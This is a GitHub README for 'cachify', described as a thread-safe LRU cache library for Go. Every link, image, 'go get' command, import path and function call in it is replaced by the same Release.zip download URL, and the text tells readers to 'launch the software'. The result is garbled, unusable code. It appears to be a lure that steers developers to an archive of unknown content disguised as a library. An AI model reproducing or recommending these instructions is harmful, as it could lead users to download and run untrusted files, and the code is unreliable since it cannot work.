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https://github.com/shadow10010/cachify

cachify is a lightweight, high-performance, thread-safe Least Recently Used (LRU) cache library for Go. It is designed for in-memory caching with optional support for expiration, eviction callbacks, and dynamic capacity adjustment.
https://github.com/shadow10010/cachify

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cachify is a lightweight, high-performance, thread-safe Least Recently Used (LRU) cache library for Go. It is designed for in-memory caching with optional support for expiration, eviction callbacks, and dynamic capacity adjustment.

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README

          

# 🚀 Cachify: A Lightweight, High-Performance LRU Cache Library for Go

Welcome to the official repository of **Cachify** - a powerful, thread-safe Least Recently Used (LRU) cache library for Go! 📦

![Cachify Logo](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)

## Overview

**Cachify** is designed to provide efficient, in-memory caching with advanced features such as expiration, eviction callbacks, and dynamic capacity adjustment. It is perfect for scenarios where you need to store and retrieve data quickly and reliably.

### Features

- Lightweight and efficient LRU caching
- Thread-safe implementation
- Support for expiration of cached items
- Eviction callbacks for custom actions
- Dynamic adjustment of cache capacity

## Installation

You can download the latest version of **Cachify** from the following link:

[![Download Cachify](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)

Once downloaded, follow the instructions to launch the software.

### Installation via Go Modules

You can also install **Cachify** using Go Modules with the following command:

```bash
go get -u https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip
```

## Getting Started

To start using **Cachify** in your Go projects, import the library and create a new cache instance. Here is a simple example to get you started:

```go
package main

import (
"fmt"
"https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip"
)

func main() {
// Create a new cache with a capacity of 100 items
cache := https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(100)

// Add a key-value pair to the cache
https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip("key", "value")

// Retrieve the value from the cache
if value, ok := https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip("key"); ok {
https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(value)
}
}
```

## About LRU Caching

Least Recently Used (LRU) caching is a popular algorithm used to manage cache eviction based on the principle that the least recently accessed items are the most likely candidates for removal.

### Advantages of LRU Caching

- High cache hit rate
- Efficient use of memory
- Easy to implement and understand

### Use Cases

- Web server caching
- Database query result caching
- API response caching

## Contributing

We welcome contributions to make **Cachify** even better! Feel free to submit bug reports, feature requests, or pull requests to help us improve the library.

### Guidelines

- Follow Go coding standards
- Write clear and concise code
- Provide detailed descriptions in pull requests

## License

**Cachify** is released under the MIT License. See the [LICENSE](LICENSE) file for more information.

---

Thank you for choosing **Cachify** for your caching needs! 🌟

For more information, visit our [website](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip) or check the "Releases" section for updates and new features. 🚀

Stay tuned for exciting updates and enhancements coming soon! 💼

![Cachify](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)